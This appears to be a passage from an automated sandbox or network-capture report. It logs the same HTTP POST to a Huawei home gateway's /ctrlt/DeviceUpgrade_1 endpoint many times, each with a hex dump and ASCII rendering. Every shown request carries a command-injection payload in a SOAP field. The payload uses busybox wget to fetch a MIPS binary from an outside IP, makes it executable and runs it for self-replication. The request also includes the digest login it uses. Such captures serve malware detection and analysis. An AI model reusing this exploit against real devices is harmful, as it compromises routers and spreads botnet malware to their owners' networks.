62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 